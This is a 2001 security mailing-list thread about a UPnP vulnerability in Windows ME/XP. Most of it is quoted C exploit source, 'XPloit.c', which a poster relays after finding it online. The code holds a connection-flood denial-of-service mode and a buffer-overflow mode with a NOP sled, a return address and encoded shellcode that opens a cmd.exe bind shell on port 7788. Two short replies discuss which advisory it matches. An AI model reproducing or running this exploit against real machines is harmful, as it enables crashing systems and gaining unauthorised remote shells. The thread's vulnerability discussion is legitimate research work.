Re: "Universal Plug and Play technology exploit code"

From: Ryan Permeh (ryan@eEye.com)
Date: 12/24/01 

From: "Ryan Permeh" <ryan@eEye.com>
To: "Sebastian Wells" <alterego@negaverse.org>, <vuln-dev@securityfocus.com>
Date: Mon, 24 Dec 2001 13:47:24 -0800

iv'e been poking at the exploit, and from what i can see, this is NOT for
the eeye advisory, perhaps another bug, but i don't have an xp machine here
to do any type of analysis on this, so it is hard t say what it will do.
This may even be a similar/same bug however, and somone found a different
way of attacking it. port 5000 TCP is also involved in the upnp/SSDP
protcol, and is hosted in svchost.exe, so until further analysis is done,
little more can be said.

Signed,
Ryan Permeh
eEye Digital Security Team
http://www.eEye.com/Retina -Network Security Scanner
http://www.eEye.com/Iris -Network Traffic Analyzer
http://www.eEye.com/SecureIIS -Stop Known and Unknown IIS Vulnerabilities

----- Original Message -----
From: "Sebastian Wells" <alterego@negaverse.org>
To: <vuln-dev@securityfocus.com>
Sent: Monday, December 24, 2001 9:45 AM
Subject: Re: "Universal Plug and Play technology exploit code"

> Is this an exploit to the most recent UPnP hole that was posted to
bugtraq?
> In the discussion of that vulnerability it was stated that UPnP was on UDP
> port 1900.
>
> Am I just confused?
>
> - Sebastian
> ----- Original Message -----
> From: <KRFinisterre@checkfree.com>
> To: <vuln-dev@security-focus.com>
> Sent: Monday, December 24, 2001 10:48 AM
> Subject: "Universal Plug and Play technology exploit code"
>
>
> > This code is NOT by me... I found it on the net today and thought that
you
> > guys may enjoy it. I saw no copyrights on this or messages stating NOT
to
> > post this code.
> >
> > http://qb0x.net/exploits/XPloit.c
> >
> > /*
> > * WinME/XP UPNP dos & overflow
> > *
> > * Run: ./XPloit host <option>
> > *
> > * Windows run the "Universal Plug and Play technology" service
> > * at port 5000. In the future this will allow for seemless
> > * connectivity of various devices such as a printer.
> > * This service have a DoS and a buffer overflow I exploit here.
> > *
> > * PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
> > *
> > * Author: Gabriel Maggiotti
> > * Email: gmaggiot@ciudad.com.ar
> > * Webpage: http://qb0x.net
> > */
> >
> > #include <stdio.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <errno.h>
> > #include <string.h>
> > #include <netdb.h>
> > #include <sys/types.h>
> > #include <netinet/in.h>
> > #include <sys/socket.h>
> > #include <sys/wait.h>
> > #include <unistd.h>
> > #include <fcntl.h>
> >
> > #define MAX 10000
> > #define PORT 5000
> > #define FREEZE 512
> > #define NOP 0x43 //inc ebx, instead of 0x90
> >
> >
>
/***************************************************************************
> /
> >
> >
> > int main(int argc,char *argv[])
> > {
> > int sockfd[MAX];
> > char sendXP[]="XP";
> > char jmpcode[281], execode[840],request[2048];
> > char *send_buffer;
> > int num_socks;
> > int bindport;
> > int i;
> > int port;
> >
> > unsigned char shellcode[] =
> >
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
>
> >
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
> >
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
> >
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
> >
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
> >
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
> >
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
> >
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
> >
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
> >
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
> >
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
> >
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
> >
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
> >
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
> >
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
> >
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
> >
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
> >
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
> > "
> > \x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
> >
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
> >
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
> >
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
> >
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
> >
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
> >
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
> >
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
> >
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
> >
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
> >
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
> >
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
> >
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
> >
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
> >
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
> >
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
> >
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
> >
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
> >
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
> >
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
> >
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
> >
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
> >
> > "
> > \x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
> >
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
> >
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
> >
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
> >
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
> >
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
> >
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
> >
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
> >
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
> >
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
> > "\x68\x68\x68\x68";
> > struct hostent *he;
> > struct sockaddr_in their_addr;
> >
> >
> > if(argc!=3)
> > {
> > fprintf(stderr,"usage:%s <hostname> <command>
> > \n",argv[0]);
> > fprintf(stderr,"-f freeze the machine.\n");
> > fprintf(stderr,"-e exploit.\n");
> > exit(1);
> > }
> >
> >
> > if(strstr(argv[2],"-f")) {
> > num_socks=FREEZE;
> > send_buffer=sendXP;
> > }
> >
> > if(strstr(argv[2],"-e")) {
> > num_socks=1;
> > send_buffer=request;
> > bindport^=0x9797;
> > shellcode[778]= (bindport) & 0xff;
> > shellcode[779]= (bindport >> 8) & 0xff;
> >
> > for(i = 0; i < 268; i++)
> > jmpcode[i] = (char)NOP;
> >
> > jmpcode[268] = (char)0x4d;
> > jmpcode[269] = (char)0x3f;
> > jmpcode[270] = (char)0xe3;
> > jmpcode[271] = (char)0x77;
> > jmpcode[272] = (char)0x90;
> > jmpcode[273] = (char)0x90;
> > jmpcode[274] = (char)0x90;
> > jmpcode[275] = (char)0x90;
> >
> > //jmp [ebx+0x64], jump to execute shellcode
> > jmpcode[276] = (char)0xff;
> > jmpcode[277] = (char)0x63;
> > jmpcode[278] = (char)0x64;
> > jmpcode[279] = (char)0x90;
> > jmpcode[280] = (char)0x00;
> >
> > for(i = 0; i < 32; i++)
> > execode[i] = (char)NOP;
> > execode[32]=(char)0x00;
> > strcat(execode, shellcode);
> >
> > snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode,
execode);
> > }
> >
> > if((he=gethostbyname(argv[1]))==NULL)
> > {
> > perror("gethostbyname");
> > exit(1);
> > }
> >
> >
> >
>
/***************************************************************************
> /
> >
> >
> > for(i=0; i<num_socks;i++)
> > if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0))
== -1)
> {
> > perror("socket"); exit(1);
> > }
> >
> >
> > their_addr.sin_family=AF_INET;
> > their_addr.sin_port=htons(PORT);
> > their_addr.sin_addr=*((struct in_addr*)he->h_addr);
> > bzero(&(their_addr.sin_zero),8);
> >
> >
> >
> > for(i=0; i<num_socks;i++)
> > if( connect(sockfd[i],(struct
sockaddr*)&their_addr,
> > sizeof(struct sockaddr))==-1)
> > {
> > perror("connect");
> > exit(1);
> > }
> >
> >
> > for(i=0; i<num_socks;i++)
> > if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
> > {
> > perror("send");
> > exit(0);
> > }
> >
> >
> > for(i=0; i<num_socks;i++)
> > close(sockfd[i]);
> >
> >
> > return 0;
> > }
> >
> > -KF
> >
> >
>
>

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